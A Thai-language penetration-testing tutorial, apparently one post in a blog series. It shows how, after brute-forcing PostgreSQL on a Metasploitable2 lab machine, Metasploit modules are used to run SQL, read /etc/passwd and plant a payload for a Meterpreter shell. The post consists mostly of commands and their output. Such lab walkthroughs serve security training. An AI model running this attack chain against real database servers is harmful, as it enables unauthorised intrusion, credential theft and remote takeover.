บทนำ (Overview)
บทความนี้นำเสนอกระบวนการขั้นตอนต่อไปถ้าเราสามารถเข้า ระบบฐานข้อมูล “PostgreSQL” ได้แล้วถ้าต้องการยึดระบบปฎิบัติการ (Operating System) ด้วยจะต้องทำอย่างไร
ขั้นตอน (Steps)
- จากบทความที่แล้ว How to brute force PostgreSQL – Metasploitable2 ตอนนี้เราสามารถได้บัญชีผู้ใช้เพื่อเข้าถึง PostgreSQL แล้ว “postgres:postgres@template1”
- เราสามารถ “Login” ผ่าน “postgres_login” ดังนี้
msfconsole use auxiliary/admin/postgres/postgres_sql info auxiliary/admin/postgres/postgres_sql
- ตรวจสอบ “options” ต่าง ๆ ที่จำเป็นต้องตั้งค่าดังนี้
Basic options: Name Current Setting Required Description ---- --------------- -------- ----------- DATABASE template1 yes The database to authenticate against PASSWORD no The password for the specified username. Leave blank for a random password. RETURN_ROWSET true no Set to true to see query result sets RHOST yes The target address RPORT 5432 yes The target port SQL select version() no The SQL query to execute USERNAME postgres yes The username to authenticate as VERBOSE false no Enable verbose output Description: This module will allow for simple SQL statements to be executed against a PostgreSQL instance given the appropiate credentials. References: www.postgresql.org
- ให้เราตั้งตรงกับบัญชีผู้ใช้ในการเชื่อมต่อ “PostgreSQL” ดังนี้
//IP เครื่องเป้าหมาย set RHOST 192.168.1.58 //รหัสผ่านที่ได้มาจากการ Brute-force set PASSWORD postgres set SQL show databases select datname from pg_database;
- จากคำสั่งข้างต้นเราจะ “Query” ชื่อ “Database” ทั้งจากตาราง “pg_database” ดังนี้
[+] 192.168.1.58:5432 Postgres - Logged in to 'template1' with 'postgres':'postgres' [*] 192.168.1.58:5432 Postgres - querying with 'select datname from pg_database;' [*] 192.168.1.58:5432 Rows Returned: 3 Query Text: 'select datname from pg_database;' ============================================== datname ------- postgres template0 template1
- ที่นี้ในการอ่านไฟล์ระดับ “OS” นั้น “PostgreSQL” ได้เตรียมฟังก์ชันเอาไว้ โดยมีการใช้งานดังนี้
use auxiliary/admin/postgres/postgres_readfile info auxiliary/admin/postgres/postgres_readfile
- ตรวจสอบ “Options” ที่จำเป็นต้องตั้งค่าดังนี้
Basic options: Name Current Setting Required Description ---- --------------- -------- ----------- DATABASE template1 yes The database to authenticate against PASSWORD no The password for the specified username. Leave blank for a random password. RFILE /etc/passwd yes The remote file RHOST yes The target address RPORT 5432 yes The target port USERNAME postgres yes The username to authenticate as VERBOSE false no Enable verbose output Description: This module imports a file local on the PostgreSQL Server into a temporary table, reads it, and then drops the temporary table. It requires PostgreSQL credentials with table CREATE privileges as well as read privileges to the target file.
- ให้ตั้งค่าดังนี้
set USERNAME postgres set PASSWORD postgres set VERBOSE true set RHOST 192.168.1.58 run
- และระบบได้บันทึกข้อมูลเก็บลงไฟล์ให้เรียบร้อย
บันทึก /etc/passwd ลงไฟล์ - เมื่อเราอ่านไฟล์ได้เราก็เขียนไฟล์ได้เช่นกัน แต่ไฟล์ที่เขียนเราจะเขียนไฟล์ “Payload” ที่เปรียบเสมือนอาวุธฝั่งเอาไว้ที่เครื่องเหยือเพื่อให้ เราสามารถเชื่อมต่อ “Command Line” ในระบบปฎิบัติการได้
คำสั่งuse exploit/linux/postgres/postgres_payload show options
ผลลัพธ์
Module options (exploit/linux/postgres/postgres_payload): Name Current Setting Required Description ---- --------------- -------- ----------- DATABASE template1 yes The database to authenticate against PASSWORD no The password for the specified username. Leave blank for a random password. RHOST yes The target address RPORT 5432 yes The target port USERNAME postgres yes The username to authenticate as VERBOSE false no Enable verbose output Exploit target: Id Name -- ---- 0 Linux x86
- ให้ตั้งค่าดังนี้
set USERNAME postgres set PASSWORD postgres set RHOST 192.168.1.58 run
- เมื่อสำเร็จเราจะได้ “Meterpreter” ดังภาพ
- ให้ใช้คำสั่ง shell เพื่อให้ได้ “command prompt” ดังนี้
shell